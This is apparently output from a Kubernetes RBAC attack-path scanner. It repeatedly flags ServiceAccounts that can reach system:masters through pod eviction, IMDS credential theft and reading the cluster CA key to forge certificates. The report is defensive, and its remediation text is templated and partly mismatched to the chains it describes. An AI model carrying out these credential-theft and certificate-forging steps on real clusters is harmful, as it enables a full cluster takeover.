Remove every impersonate grant on a path to system:masters. Concretely: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/containersec-fixtures/default → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/containersec-fixtures/default → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/cutres/cutres-detour Cluster 8.3
ServiceAccount/cutres/cutres-detour can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/cutres/cutres-detour → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-detour

Subject ServiceAccount/cutres/cutres-detour can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/cutres/cutres-detour → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
2. ServiceAccount/cutres/cutres-detour → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/cutres/cutres-detour.
  2. Acting as ServiceAccount/cutres/cutres-detour, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  3. Acting as ServiceAccount/cutres/cutres-detour, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/cutres/cutres-detour
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/cutres/cutres-detour
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/cutres/cutres-detour → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/cutres/cutres-detour → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/cutres/cutres-parallel Cluster 8.3
ServiceAccount/cutres/cutres-parallel can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/cutres/cutres-parallel → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-parallel

Subject ServiceAccount/cutres/cutres-parallel can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/cutres/cutres-parallel → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
2. ServiceAccount/cutres/cutres-parallel → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/cutres/cutres-parallel.
  2. Acting as ServiceAccount/cutres/cutres-parallel, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  3. Acting as ServiceAccount/cutres/cutres-parallel, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/cutres/cutres-parallel
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/cutres/cutres-parallel
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/cutres/cutres-parallel → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/cutres/cutres-parallel → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/deepchain-tenant/deepchain-privileged Cluster 8.3
ServiceAccount/deepchain-tenant/deepchain-privileged can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/deepchain-tenant/deepchain-privileged → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/deepchain-tenant/deepchain-privileged

Subject ServiceAccount/deepchain-tenant/deepchain-privileged can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/deepchain-tenant/deepchain-privileged → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
2. ServiceAccount/deepchain-tenant/deepchain-privileged → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/deepchain-tenant/deepchain-privileged.
  2. Acting as ServiceAccount/deepchain-tenant/deepchain-privileged, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  3. Acting as ServiceAccount/deepchain-tenant/deepchain-privileged, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/deepchain-tenant/deepchain-privileged → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/deepchain-tenant/deepchain-privileged → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/flat-network/default Cluster 8.3
ServiceAccount/flat-network/default can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/flat-network/default → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/flat-network/default

Subject ServiceAccount/flat-network/default can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/flat-network/default → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod flat-network/api-55d9f69c7d-ppr7v falls back to node IAM role via IMDS
2. ServiceAccount/flat-network/default → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/flat-network/default.
  2. Acting as ServiceAccount/flat-network/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod flat-network/api-55d9f69c7d-ppr7v falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/flat-network/default, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/flat-network/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod flat-network/api-55d9f69c7d-ppr7v falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/flat-network/default
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/flat-network/default → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/flat-network/default → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/flux-system/kustomize-controller Cluster 8.3
ServiceAccount/flux-system/kustomize-controller can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/flux-system/kustomize-controller → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/flux-system/kustomize-controller

Subject ServiceAccount/flux-system/kustomize-controller can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/flux-system/kustomize-controller → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
2. ServiceAccount/flux-system/kustomize-controller → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/flux-system/kustomize-controller.
  2. Acting as ServiceAccount/flux-system/kustomize-controller, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  3. Acting as ServiceAccount/flux-system/kustomize-controller, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/flux-system/kustomize-controller
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/flux-system/kustomize-controller
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/flux-system/kustomize-controller → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/flux-system/kustomize-controller → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/foothold-exec/foothold-decoy-sa Cluster 8.3
ServiceAccount/foothold-exec/foothold-decoy-sa can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/foothold-exec/foothold-decoy-sa → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/foothold-exec/foothold-decoy-sa

Subject ServiceAccount/foothold-exec/foothold-decoy-sa can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/foothold-exec/foothold-decoy-sa → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
2. ServiceAccount/foothold-exec/foothold-decoy-sa → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/foothold-exec/foothold-decoy-sa.
  2. Acting as ServiceAccount/foothold-exec/foothold-decoy-sa, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  3. Acting as ServiceAccount/foothold-exec/foothold-decoy-sa, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/foothold-exec/foothold-decoy-sa → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/foothold-exec/foothold-decoy-sa → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/foothold-exec/foothold-reader Cluster 8.3
ServiceAccount/foothold-exec/foothold-reader can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/foothold-exec/foothold-reader → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/foothold-exec/foothold-reader

Subject ServiceAccount/foothold-exec/foothold-reader can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/foothold-exec/foothold-reader → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod foothold-exec/foothold-target falls back to node IAM role via IMDS
2. ServiceAccount/foothold-exec/foothold-reader → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

